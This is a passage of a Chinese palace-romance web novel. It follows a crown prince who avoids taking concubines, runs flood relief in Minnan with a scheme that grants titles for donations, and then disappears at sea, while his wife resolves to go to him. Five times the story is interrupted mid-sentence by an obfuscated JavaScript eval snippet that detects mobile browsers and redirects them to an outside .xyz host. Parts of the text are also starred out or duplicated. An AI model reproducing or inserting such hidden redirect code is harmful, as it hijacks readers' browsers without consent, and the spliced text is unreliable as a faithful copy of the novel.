又道:“此等害人之物,务必要灭个干净,断不能让大齐朝的百姓受此荼毒!南越府现下已是我大齐疆土,断不能让蛊术横行,谁人胆敢沾染半分,朕定不轻饶!” 萧晏辞沉声应是。 之后几日,萧宝珠和邢初雪轮流做局,邀大家同游。 此时再不多聚聚,待过了元宵,邢初雪就要随萧晏珩回封地了。 下次再见,至少又要等上一年。 几个女人相聚,萧晏辞等几个男人也都会陪同,落在外人的眼中,简直如胶似漆,令人津津乐道。 有关蒋南笙和林铮的流言不可避免地传了出来。 二人日日同出同进,形影不离,但却无名无分,自然令人诟病。 人以此诟病蒋家其他姑娘的名声,几个适龄的姑娘原本就婚事艰难,如此一来更是难上加难。 蒋南笙为此不免有些犯愁,正寻思着要不要做些弥补,不曾想,那几位堂妹竟主动道:“我们不想嫁人!” “那些男子,一个个都只会挑剔女子的名声,谁知道嫁过去之后是否又会有其他磋磨?与其到一个全然陌生的家里,过着未知的生活,还不如安安心心地待在蒋家,专心学习医理药理,靠自己双手做活,至少饿不死。” “你便是我们的榜样,我们也要如你这般,靠自己而活,而不是事事都依附男人。” 蒋南笙听了这些话,心中大受震撼,同时又不免生出欣慰。 世人都认为女子本弱,但实际上,女子的坚韧和聪慧丝毫不比男子差。 蒋家的女眷们能有此自立之心,蒋南笙很高兴。 之后,蒋家的这几位堂妹便开始专心研习医术,半分都不曾懈怠。 她们本绝了成婚的念头,之后的几年,姻缘反倒自己主动找上门。 她们在医药堂做活,都先后遇到了自己的金玉良缘,后半辈子也都过得十分不错。 此乃后话。 转眼到了元宵。 元宵一过,睿亲王等郡王便要陆续返回封地。 宫中照例举办了元宵宫宴,既是庆元宵,也是为了给睿亲王等郡王饯行。 宴上气氛和乐。 接近尾声时,发生了一桩插曲。 有人提议,该为太子纳侧妃和侍妾,开枝散叶。 这个提议瞬间得到了众臣的附和,德丰帝亦没有反对。 上回皇子选妃,萧晏辞之所以只选了王妃,是悟尘大师占了一卦,称他今年只能娶王妃,不宜纳侧妃和侍妾。 如今,一年已过,纳侧妃和侍妾之事自然要操办起来。 而今太子妃尚未有孕,太子后继无人,不知多少双眼睛盯着。 一朝太子,有继承人是最基本的要求。 若不然,这太子之位便坐不稳。 德丰帝金口一开,众朝臣的心思便开始浮动了起来。 谁家还没有适龄的女儿妹妹侄女外甥女的,若能入东宫,生下一儿半女,日后说不定就是一番大造化。 女眷这边,众人都明里暗里地朝陆知苒投来目光,或关心,或担忧,或看好戏。 陆知苒面上没有半分异色,依旧从容地与众人说笑叙话。 晚宴散了,萧宝珠和邢初雪都走到陆知苒身旁,与她一道往宫外行去。 两人的面上都笼着一层担忧,只是一时有些不知该如何开口。 陆知苒语气如常,“我知道你们担心我,放心,我没事。早在嫁给殿下时,我便早做好了心理准备。” 不说萧晏辞是皇子龙孙,便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008401|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻常男子,便鲜少有不纳妾的。 这对女子很不公平,但世道如此,她也不过是寻常人,凭她一己之力,根本没法改变什么。 她唯一能做的,便是守住本心,至少,让自己不要太难过。 她没有忘记自己的初衷,她想要权利,想要萧晏辞给自己足够的尊荣和体面。 现在,她已经得到了这一切,就不能再奢望更多。 人不能太贪心。 回到东宫,陆知苒进了浴房洗漱。 氤氲的水汽蒸腾,让她的神经彻底放松。 她没有沐发,满头青丝高高盘着。 身后传来脚步声,陆知苒只当是翠芙和丹烟,便语气懒懒地吩咐。 “给我按一按肩膀,最近有些酸。” 一双大手按在她的肩头上,那略带粗粝的手感立马让她察觉到了不同。 她睁眼回头,就见到男人那轮廓分明的俊颜。 她瞬间红温了,下意识伸臂环住了胸前。 “殿下,您怎么进来了?” “孤也要沐浴。” 陆知苒心道,东宫又不止这一处浴房。 “我这便给殿下腾位置。” 陆知苒伸手去扯浴巾,却被男人略挡了挡。 “这浴桶甚大,再多一个人也无妨。” 陆知苒:…… 多了一个人,浴汤的水瞬间漫了出去。 许是泡了太久,陆知苒觉得自己的脸颊更加滚烫了。 萧晏辞一副十分正人君子的模样,只认认真真地洗漱,没有做出什么出格之举。 陆知苒暗松了口气。 二人若是在此处荒唐,明日她还有什么脸面见人? 不对,眼下这般,她也已经没脸见人了。 正胡思乱想着,萧晏辞突然开口,“今夜,朝臣提议选侧妃之事,你是否心情不快?” 陆知苒下意识摇头否认,“没有。” 顿了顿,她继续道:“依照礼制,此事本就该提上日程。我身为太子正妃,理当大度。” 她尽量让自己的语气听上去平稳如常,好似真的毫无芥蒂。 但对面的男人面色却一下笼上了阴霾。 第470章 抓紧造人 “你心中便半点醋意都没有?” “没有。” 她回答得很快,没有太多犹豫。 这是她的初心,她不能忘。 萧晏辞胸口堵着一团火,上不去下不来,叫他如鲠在喉。 “在我面前,你可以善妒,也可以有醋意。” 陆知苒一时不知该如何接话。 她可以吗?她若当真那么做了,日后想要的就会越来越多。 有朝一日,男人变了心,而她却彻底沦陷,再守不住本心,她该如何自处? 萧晏辞将她的神色变化尽收眼底,眸色更添几分幽深。 他缓缓开口,“除了你,我不会娶旁人,我会说到做到。” 这话说得斩钉截铁,格外郑重。 陆知苒的脸上闪过错愕,心头也微微颤了颤。 他如何能做到? 不可能的。 世间帝王,从没有只娶一人者。 便是不贪恋美色,也不得不权衡朝中局势,娶一些必须要娶的人。 但眼前男人的神色太过郑重,这些泼冷水的话她到底是咽了回去。 他忽而起身,带起一阵水花,那精壮完美的身形也映入眼帘。 陆知苒的眼神顿时有些不知该往哪里看。 “时间不早,该休息了。” 他随意披了件浴袍,又弯腰,直接将人从浴桶中捞了起来。 陆知苒来不及惊呼,他便扯过一张浴巾,将她严严实实地裹住了。 房中,原本正在等着伺候的丫鬟见此,慌忙低头退了出去,不敢多看一眼。 当务之急,造人要紧。 知苒早日怀上子嗣,也能堵上那些老东西的嘴。 他私底下去向南笙讨了经验,这几日是知苒易受孕的好日子。 这一夜,他辛勤耕耘,直至后半夜方鸣金收兵。 他倒是餍足了,只把陆知苒累得连抬手的力气都没了,昏昏沉沉,一觉就睡到了天光大亮。 醒来之后,她整个人都有些懵,动了动身子,一阵酸痛,昨夜的记忆便涌上心头,她的脸上顿时烫了起来。 丫鬟鱼贯而入,伺候她更衣洗漱。 翠芙和丹烟瞧见她身上的斑驳痕迹,脸都红了,又不免有些心疼。 “太子殿下也太不知怜香惜玉了。” “您身上皮肤嫩,哪禁得住这般折腾?” 陆知苒赶紧让两人闭嘴了,她还要脸呢。 金嬷嬷心疼之余,也不免心生期待。 太子妃可得尽快怀上身孕才好,不然,待侧妃入门,分了宠爱,想怀孕就更难了。 元宵过后,朝臣的假期结束,又得每日早起上朝了。 今日早朝,众人依旧围绕着给太子选侧妃一事,推举了许多贵女,那副架势,俨然要一口气把东宫填满了方才罢休。 太子对此无甚反应,一副全盘接受的模样。 德丰帝便将此事交给礼部和内务府,一切照章办事。 睿亲王和大皇子等人辞别了德丰帝,陆续启程返回封地。 萧晏辞亲自去送了睿亲王和安王。 他再次对二人表示感激,若无二人的相助,局势如何,还未可知。 睿亲王爽朗一笑,“你能接替皇兄,把这大齐的江山守护好,便是对本王最大的感激。日后,若还有用得到皇叔的地方,皇叔亦会鼎力相助。好了,不必相送。” 睿亲王翻身上马,在马背上朝他们挥了挥手,便打马而去。 萧晏珩身体调养好了许多,但也禁不住长途的骑马奔波,他和邢初雪自然是乘坐马车回去。 邢初雪在和陆知苒、萧宝珠道别,兄弟二人也在说话。 萧晏辞问,“五皇兄,你当真不愿将恒瑞商行之事告知父皇?父皇得知此事,定会嘉奖你,寻常金银你或许不在乎,但孤可以从中斡旋,让父皇给你换个更富庶的封地。” 萧晏珩笑着摇头,“我现在的封地挺好的,这一年下来,我和王妃已然住习惯了,不愿再换。那里的气候也很不错,适合我养病。此事你知便是,父皇年事已高,精力不济,没必要拿这等小事去扰他清净。” 萧晏珩投靠的目标一直很明确,是萧晏辞,而不是德丰帝。 他抱紧萧晏辞这根金大腿就够了,没必要再去讨好德丰帝。 更何况,他也的确看不上德丰帝的那仨瓜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008402|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩枣的赏赐。 萧晏辞闻言,便也不再多劝,同时,他心中也是更添熨帖。 邢初雪眼泪汪汪地和她们辞别,一步三回头地上了马车。 一直目送着马车彻底消失,几人这才回去,心中或多或少都有些惆怅。 不过好在,后会有期。 礼部和内务府很快着手为太子遴选侧妃之事,柔贵妃作为太子生母,对此事也无可推脱。 身为母亲,她自然希望自己儿子多子多福。 但身为女人,她不可避免地对陆知苒生出同病相怜的怜惜来。 谁会希望自己的丈夫被别人分享呢? 但……她却什么都做不了。 柔贵妃把陆知苒传召入宫,拉着她的手,一时不知该如何宽慰。 陆知苒反倒神色如常。 “母妃,儿媳知道自己的本分,不会不识大体,您只管放心。” 柔贵妃听了这话,心中对她更添怜惜。 “咱们女人啊,总是身不由己的。” 不知想到了什么,她的脸上浮起一丝淡淡的怆然。 殿中的气氛正有些低沉压抑,这时宫人突然来禀了一个消息。 “娘娘,听说工部侍郎家的嫡长女,与人私奔了。” 这个消息让婆媳二人都呆了呆。 工部侍郎的嫡长女,俨然是此次太子侧妃的人选之一。 她在这个关头竟与人私奔,这不是摆明了她不想嫁给太子吗? 柔贵妃一时都顾不上生气,只觉得稀奇,更想知道此事究竟是真是假。 陆知苒心中更满是疑窦。 萧晏辞说,不会娶其他女子,难道,这就是他的手段? 若他为了拒婚,用这样的手段陷一个女子于此番境地,陆知苒丝毫不觉得高兴,只觉心寒。 她顿时有些待不住,匆匆辞别了柔贵妃便回了东宫。 萧晏辞晚间才回来,陆知苒没有睡,立马迎了上去。 “殿下。” “怎么还没睡?” 陆知苒的目光落在他的脸上,隐约觉得,他的心情似是不错。 “我听说了工部侍郎的嫡长女与人私奔之事,此事是真是假?” 第471章 没把她当女人 萧晏辞拉着她坐了下来,“确有其事。” “此事……殿下是否做了些什么?” “此事我的确动了些手脚,但这位余小姐本身也并不无辜。她与一戏子早有苟且,且肚子里还怀了对方的孩子。余家知晓此事,正打算悄悄把她肚子里的孩子打了,再塞进东宫来。余家把我当冤大头,我自然也不能惯着他们。” 陆知苒听了这番话,脸上的表情僵住,一时变得有些精彩。 她万万没想到,事情真相竟是这般。 萧晏辞戏谑地看着她,“你是不是怀疑我设计陷害她?” 陆知苒先是点头,然后摇头。 “一开始我的确怀疑是殿下设计的,因为此事发生得有些太巧了。但后来我细想了一番,凭殿下的为人,不会做出这样的事。殿下最多在背后推波助澜了一番。” 事实果然如此。 她方才主动询问,也是想求证这一点。 萧晏辞眼底多了几分笑意,她会信任自己,这让他很高兴。 “我向你承诺过不会娶其他人,但也不会以伤害旁人为代价。” “可是没了余小姐,还会有张小姐,李小姐……” 并非每个人都似这位余小姐这般不安分,也没有那么多把柄可抓。 萧晏辞笑了笑,“我要的只是拖延时间罢了,只要将此事延后,之后自然有其他法子。” 至于是什么法子,事情尚未到,他便没有透露。 此事闹得人尽皆知,萧晏辞便趁热打铁,在德丰帝跟前诉了一番苦,他终于松口,答应将此事延后了。 德丰帝或许看出了萧晏辞不欲纳人的心思,但余家之事的确刚好撞在枪口上,萧晏辞这个太子的颜面受了损,他借着此事抵触纳侧妃之事,德丰帝也勉强不得。 萧晏辞颇有些邀功地看着陆知苒,陆知苒心头升起莫名的滋味。 原本她对萧晏辞的那番承诺并不抱希望,如今,她才终于有了些许真实的感觉。 这个男人,或许真的能做得到。 自己何德何能,能得他如此相待? 陆知苒摸着自己的肚子,心中也不由生出几分急切的期待来。 只盼着,自己能尽快怀上孩子。 他后继有人了,太子之位也能坐得更加稳当。 轰轰烈烈的选侧妃之事,因余小姐的作死,被搁置了。 那些盼着飞上枝头变凤凰的小姐们俱是咬牙切齿,对余小姐恨得牙痒痒。 那些年岁尚小的还可以继续等待机会,但那些年龄稍大的就更加着急了。 就此放弃,心中到底有些不甘。 但继续等的话,不知道要等到何时,万一等成了老姑娘可如何是好? 萧宝珠听说此事可高兴了。 虽然皇兄纳侧妃是迟早的事,但这事自然是越晚越好。 府中平白多一群女人,看着就眼睛疼。 萧宝珠愤愤不平地抱怨,“凭什么男人可以三妻四妾?咱们女人就只能嫁一个男人?这简直太不公平了。” 陆知苒道:“你放心,你们家孙牧之定不会有三妻四妾。” 萧宝珠冷哼一声,“他敢,看我不打断他的腿!” 蒋南笙也跟着打趣她,“孙牧之的眼珠子都恨不得黏在你身上,断然容不下旁人。” 萧宝珠脸上立马绽出了灿烂的笑,神色间都是得意与甜蜜。 陆知苒忽而开口,“南笙,你能否再给我探一探脉?我先前在楚家落过水,身上只恐受了寒气,是否需要开方子调养一番。” 蒋南笙看向陆知苒,一眼就看出了她心态上的变化。 上次她们聊起怀孕之事,陆知苒云淡风轻,完全顺其自然。 这次她竟主动提起,神色间也多了几分期盼。 看来,太子要纳侧妃之事,终究还是影响了她的心境。 蒋南笙伸手便开始给她探脉。 “你的身子很健康,没有任何问题,先前的落水并没有留下病根。阿辞的身子也康健,子嗣之事,讲究的是缘分,缘分到了,孩子自然而然便来了。阿辞待你如何,我们都有目共睹,你不必心急。越是心急,反倒越容易失望。” 陆知苒闻言,心中的浮躁似被抚平了,整颗心也都安定了下来。 萧宝珠也伸手,“阿笙,给我也看看。” 蒋南笙打了下她手背,“你凑什么热闹。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013457|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我怎么就是凑热闹了,万一我怀上了呢?” 蒋南笙想都不想,“你不可能。” 萧宝珠立马瞪眼,“我怎么不可能?” 他们晚上勤快着呢。 蒋南笙心道,她自然知晓,因为孙牧之曾私下找过她求避子药,不是给萧宝珠吃的,而是他自己吃的。 他说:“宝珠年纪尚小,不宜有孕,我也不想让她喝避子汤,便只能自己私下服用。” 蒋南笙很意外,同时也很感慨,宝珠这傻姑娘的确遇到了自己的良人。 而找她求药的,不止孙牧之一人,萧晏辞也来过。 他刚好相反,求的是生子药。 蒋南笙也很无奈,她虽然换回了女子装扮,但似乎身边人都没把她当女人,什么事都找她,简直半点不见外。 孙牧之让她保守秘密,蒋南笙自然不能言而无信。 蒋南笙随便糊弄,“你自己都还是孩子,身体还没发育好,这几年想要孩子都怀不上。” “那过几年呢?” “过几年身子发育好了自然就能怀上了。” 萧宝珠对蒋南笙的话深信不疑,闻言立马就放心了。 正好,原本南笙就让她不要过早怀孕,她还在想偷偷喝避子汤呢,现在不用担心了。 萧宝珠忽而又八卦地道:“阿笙,你万一怀上了怎么办?” 蒋南笙伸手戳她,“我的事就不需要你操心了。” 她自己便是大夫,自然有法子避孕。 而且,林铮比她还自觉,每回都忍着没弄在里面。 几个女人凑在一块,叽叽咕咕地说着房中事,若是外人听了,定要惊叹她们的没羞没臊。 萧晏辞很忙碌,陆知苒也没闲着。 除了东宫的内务,她同时在打理商行和锦绣坊诸事,她并没有被太子妃的身份所限制。 蒋南笙的宽慰让她放宽了心,不再日日想着怀孕之事。 让自己忙起来,心境也会更加放松。 时间转眼开春,天气一日日暖和起来。 京中的日子重新恢复太平,百姓的日子步入正轨。 就在此时,闽南传来一封急报,打破了这份宁静。 第472章 不饿死一人 此前,闽南被赵家把持,海运乱象频发,官场一片**,德丰帝已下旨将闽南官员来了个大清洗。 而今,从时间上推算,新任官员也才刚刚到任,地盘还没踩熟,不曾想就传回了一个惊天噩耗。 “闽南急报,闽南漳州府龙溪县、泉州府晋江县、兴化府莆田县三处堤坝,于本月初八夜因连日暴雨,相继溃决。这三处堤坝皆是赵家出资修建,距今不过半年!堤内竟以茅草、竹篾充填,桩基不过三尺,焉能不溃?” “今三府灾民聚众哭诉于衙,官府虽开仓放粮,然死者未葬,生者无食,恐酿大变。伏乞陛下速遣钦差彻查,并拨赈灾银两,以安民心。” 这个消息如同一记惊雷,再次在朝堂炸开了,群臣激愤,对赵家声讨不绝。 德丰帝险些在堂上气晕过去。 想当初,萧晏临还拿赵家之事为自己邀功,挣名声,德丰帝还因此嘉奖了赵家一番,而今,当初的嘉奖全都化作了耳光,啪啪地打在德丰帝的脸上。 天灾可以恕,人祸不可饶。 萧晏临和赵家人皆已伏法,闽南官员也尽数收押候斩,当初和萧晏临一道前往闽南赈灾的兵部尚书卞志明汗流浃背,立马跪地请罪。 德丰帝镇纸狠狠砸下,顿时将他砸得头破血流,最后被拖下去,收押候审。 “皇上,当务之急,还是赈灾要紧。” 萧晏辞立马站出来,主动请缨,“父皇,儿臣愿前往闽南赈灾。” 德丰帝抚着心口,剧烈喘气,“准!” 谷栖山也随之出列,再次向德丰帝提出请求。 “皇上,微臣愿与太子殿下同往,助太子殿下一臂之力。” 此前,谷栖山几次主动请缨,都被德丰帝拒了。 这一次,帝王待他,是否依旧态度不改? 片刻之后,上首终于传来了帝王威严的声音。 “准!” 谷栖山闻言,不禁暗松了口气,立马领旨谢恩。 德丰帝心想,这天下迟早要交到萧晏辞的手里,那就让他多培养自己的人吧。 谷栖山可用。 罢朝后,德丰帝把萧晏辞传到御前,认真叮嘱。 “太子,你此去,不仅是放粮、施药,更要安民。这是你身为太子所要经历的第一场考验,你定要好好办妥,莫要辜负了朕对你的一片期望。” 萧晏辞恭敬叩首,“儿臣定不负父皇所托。” 萧晏辞匆忙回了东宫,向陆知苒告知此事。 陆知苒面色陡然一沉。 “赵家岂敢如此行事?” 萧晏辞神色冷然,“人命如草芥,在他们眼里,那些百姓不过是踏脚石罢了。” 陆知苒心头怒火难以平复,“他们就不怕事发之后,所有谋划功亏一篑吗?” 若现在萧晏临依旧稳稳地坐在皇位上,闽南堤坝决堤,难道赵家就能全身而退? 赵家既想为萧晏辞铺路,又不舍得出真金白银,简直令人不齿。 “若此时萧晏临还坐在皇位上,这个消息就不可能顺利传回京城,就算传回来了,也定然被歪曲了事实,赵家或许会伤到皮**,但绝不会伤筋动骨。这就是权势的力量。” 更何况,赵家做惯了投机取巧之事,对人命没有敬畏,他们大多会心存侥幸,即便知道堤坝会冲垮,也依旧这么做。 陆知苒心头有些沉甸甸的。 萧晏辞顾不上与她多说,“我要即刻准备出发,此次出门,只怕又要数月不得归,你在京中要照看好自己。” 陆知苒心头升起不舍,但面上半分不显。 “我这便为殿下准备出行物资。” 夫妻二人顾不上多说话,很快各自忙碌起来。 陆知苒去了商行,命谭旭文立马准备精米、糙米、干粮、避瘟丹和衣物等物资。 谭旭文有些为难,“太子妃,眼下咱们商行没有这般多物资,要筹备够您说的量,还得从江南调运。” “那便调!从江南走水路前往。” 谭旭文便不再多说,立马领命去了。 萧晏辞当日便带着人和粮出发。 此事在百姓中传得沸沸扬扬,百姓的骂声不绝于耳。 只有老百姓才最能共情老百姓,天降横祸,毁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013458|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是他们的家园,是他们的未来与生活。 幸而,赵家倒了,逆党被连根拔起,百姓们的生活又重新有了希望。 天气日渐炎热起来,百姓们的春衣换成了薄裳,闽南那边,也陆续有好消息传来。 闽南的灾情得到了控制。 萧晏辞抵达闽南之后,便立马公开亮相,当众分发首批粮食,承诺“不饿死一人。” 百姓得了朝廷救助,民心渐安。 初步稳住了民心,萧晏辞紧接着便设立赈灾据点,每县分设粥棚、医所,以避瘟丹防治疫病,重伤者集中救治。 这些事他们在滇南便有了经验,此事完全沿袭那套流程,安排起来驾轻就熟,有条不紊。 民众初步安定下来,萧晏辞便着手修复堤坝之事。 此事不易,但萧晏辞也有自己的一套方法。 他推出了“以工代赈”的法子,在灾民中招募青壮年,清理淤泥、修补道路、搭建临时屋棚,每日酬米三升至五升不等。 如此既能减少流民,恢复民生,又能解决人手短缺的问题,且这些堤坝关乎着他们自己未来的安危,他们便是最直接的监督者,任何人想以次充好,从中牟利,就得先逃过这些人的眼睛。 德丰帝收到萧晏辞的好消息,原本紧皱的眉心终于得以舒展,百官对其亦是连连夸赞,极尽追捧。 户部官员开始担心修筑提拔的银钱问题。 修筑堤坝是大工程,灾民房屋的修建也并非一朝一夕可成,所需钱款亦是一笔大数目。 朝廷经过这接连的战事和兵变,国库已经见底。 太子此去赈灾,户部已经是勒紧裤腰带,才筹措了粮草。 保守估计,要修筑好堤坝,至少还需上百万两银子。 上百万两,那便是把他们户部所有人称斤卖了都不够。 德丰帝也在担忧此事。 但令他意外的是,闽南的奏折频繁送来,却没有讨银子的。 数日后,德丰帝又收到了一封来自闽南的奏章,看罢,他脸上露出意味不明的神色。 “太子的胆子可不小!” 第473章 太子的筹钱之法 众臣听了,心里齐齐咯噔一下。 德丰帝这话,究竟是什么意思? 太子这是在闽南做了什么? 德丰帝让冯有才将奏折当众念出来,众人听罢,亦是不禁脸色各异。 太子的胆子,真的不小! 他在奏折中提到了筹措修筑堤坝钱银的法子,他的核心法子只有一个,让富商、士绅、地方豪强捐银。 如何让他们主动掏钱,自然要以利诱之。 凡捐银千两者,赐“义民”匾,载入府志;捐银五千两者,刻名于堤坝“功德碑”,流芳百世。 这两者都没有什么问题,真正大胆的在后头两条。 捐银五万两以上者,授“堤工司丞”,专管本乡堤务,子孙可袭职;捐银十万两以上者,授“水利同知”,兼领漕运巡检,享朝廷俸禄。 这不就是带头卖官吗? 德丰帝看着堂下众人,淡声问,“诸位爱卿,以为太子此法如何?” 朝臣俱是交头接耳,议论纷纷起来。 “皇上,此法有违律例,若开了这个头,日后大齐朝岂非乱了套?那等苦读的寒门学子,又当如何自处?” “微臣附议,朝廷的官员任免并非儿戏,万不能随随便便用银子来衡量。” 德丰帝看向吏部尚书邢世杰,“邢爱卿,此事你如何看?” 吏部负责的便是官员任免之事,他对此事的确最有发言权。 邢世杰的心思转了几转,沉声道:“回禀皇上,《大齐律》虽严鬻官之禁,然闽南水患实乃非常之灾。臣以为,当以‘经权之道’衡之。今所授‘堤工监理’‘漕运协理’,一不管刑名,二不涉兵权,不过令捐资者代朝廷巡查河工罢了,微臣认为此法可行。” 邢世杰表了态,吏部其他官员也纷纷附和。 但依旧有官员反对,一时朝堂上炒作一团。 德丰帝轻咳一声,众人这才齐齐收声。 他目光淡淡扫向堂下极力反对之人,淡声开口。 “文爱卿,你可有更好良策,在七日内筹得百万修堤银?” 那位文大人瞬间哑口。 德丰帝声音转冷,“既如此,尔等有何反对的资格?闽南万千流民,等不得你们这般扯皮!” 堂下肃然,无人再敢开口多说半字。 “以名换利,以权固责,以碑传誉,朕以为,太子此法甚好!传朕旨意,允太子权开此例,以活万民,另,闽南灾情后事,亦允太子便宜行事之权。” 众臣立马齐齐跪拜,三呼皇上英明。 皇上的旨意很快送往闽南。 陆知苒得知此事,紧绷的心顿时松了大半。 原本她也一直在担心银子的问题。 巧妇难为无米之炊,银子不够,堤坝就修不好。 若此处堤坝再发生崩塌之事,那被万民指摘的就是萧晏辞这个太子。 陆知苒的确能凑出这笔钱来,但不到万不得已,她不想出。 她出了银子,功绩便落在了她的头上,她不想牝鸡司晨,抢了萧晏辞的风头。 好在,萧晏辞自己便解决了此事。 此法对于一众富商来说,实乃互惠互利的大好事。 萧晏辞得了德丰帝的首肯,还得了那句“便宜行事之权”,顿时放开了手脚干了起来。 太子幕僚张贴出告示,将此政令广而告之。 受灾的老百姓们都觉得太子想得美,谁会愿意花那白花花的银子买个名声? 但没想到,此事竟是一呼百应。 想要捐官的人还不少。 但因朝廷限制了名额,后头的人都没能排上。 老百姓们见此,都露出了没见过世面的震惊表情。 但很快大家便都高兴起来,至少,修筑堤坝的银子有了,不用再担心家园被毁。 此事开了个好头,后续之事便进展得很顺利。 转眼春天到了尾声,天气也一日日热了起来。 闽南天气更热,修筑房屋和堤坝的百姓们甚至已经脱掉上衣,打起了赤膊。 大家干的都是苦力活,但好在每日都能管饱,还有报酬可以拿,大家都很有干劲。 一封封捷报传回京城,德丰帝龙心大悦。 “太子这次的差事办得妥当。” 众臣齐齐附和。 一切进入正轨,也是时候该让太子回来了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021524|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>但德丰帝还没来得及传达诏令,闽南又有一封急报传来。 这一次,传来的是坏消息。 “闽南遭到海寇袭击,太子率水师追击,却在海上失了踪迹!如今已经过了十日,至今未归!” “什么!” 德丰帝惊得差点没坐稳,冯有才急忙把人扶住了。 “穷寇莫追,**吗?怎这般鲁莽!” 德丰帝又气又急,声音都染上颤抖。 冯有才有心宽慰,但此时并无他插话的份儿,他的宽慰也不过浮于表面罢了。 “谷栖山呢?他怎没有劝一劝?” “谷将军也一道出了海,也,失踪了。” 德丰帝顿觉有些天旋地转。 本以为谷栖山是老将,性子沉稳,却不想,他竟也如此鲁莽,就由着太子这般冒进。 “皇上,当务之急,还是得先派兵前去营救。” 德丰帝稳住心神,“此事不可宣扬,若谁胆敢把消息透露半个字,朕定唯你们是问!” 朝局才刚刚稳定,此时若传出太子出事的消息,只怕又要横生波澜。 德丰帝命人**息,但却陆知苒还是第一时间得知了此事,因为陆知苒在闽南有自己的眼线,此事事发,她的人就第一时间给她报信了。 陆知苒闻言,心头猛地一跳,手中茶盏险些脱手。 她强自镇定,细细追问来龙去脉。 那报信人不敢隐瞒,一五一十道来。 原来赵家虽已伏诛,却仍有漏网之鱼勾结海寇,在外兴风作浪。 萧晏辞本不欲赶尽杀绝,谁知对方怀恨在心,竟暗中设伏行刺。 所幸萧晏辞身手不凡,不仅未遭毒手,反倒生擒了刺客,逼问出海寇盘踞黑牙岛的消息。 得知此事后,萧晏辞当即调集战船,誓要一举剿灭贼寇。 再问细节,报信人却摇头不知,毕竟军机要事,岂能轻易外泄? 陆知苒虽知萧晏辞行事稳重,绝非鲁莽之人,可海上风云难测,稍有不慎便是万劫不复。 他失踪多日,至今杳无音信,可还安好? 想到此处,她指尖微凉,心头笼上一层阴翳。 第474章 前往闽南 当夜,陆知苒再次失眠了,好不容易睡着了,混混沌沌全是乱梦。 黑云压海,狂风怒号。 萧晏辞的战船在浪尖颠簸,桅杆被飓风折断,船身发出不堪重负的呻吟。她看见他死死攥住缆绳,一个巨浪扑来,瞬间将他吞没…… “不——” 她下意识伸手去抓,却只握住一帐冰凉的月光。 窗外不知何时下起了雨,夜雨敲檐,淅淅沥沥像极了梦中海浪声。 她攥紧锦被,指甲几乎要掐进掌心。 这梦太真切,真切得让她心口发疼。 她记得,上次在西平之时,她也做过类似的梦。 而萧晏辞也的确出事了。 这一次,难道又是一种预警? 她再难入眠,翻身下床,守夜的丫鬟听到动静,赶忙给她倒了一杯温茶。 “太子妃,您怎么了?” 陆知苒摇头,让丫鬟去休息了,自己则走到窗边,打开窗户,任由冷风吹面,让自己冷静下来。 翌日一早,她便对霜华吩咐。 “我要去闽南一趟,你准备一番。” 霜华眼底闪过诧异,但很快消失,她什么都没多问,很快就去准备了。 翠芙和丹烟二人听了,面上齐齐露出惊疑之色。 “太子妃,您当真要去吗?” 陆知苒点头,“不走这一趟,我总是不安心。” “那,您把奴婢也一并带上吧,奴婢定然老老实实地听话,绝不会给您添乱。” 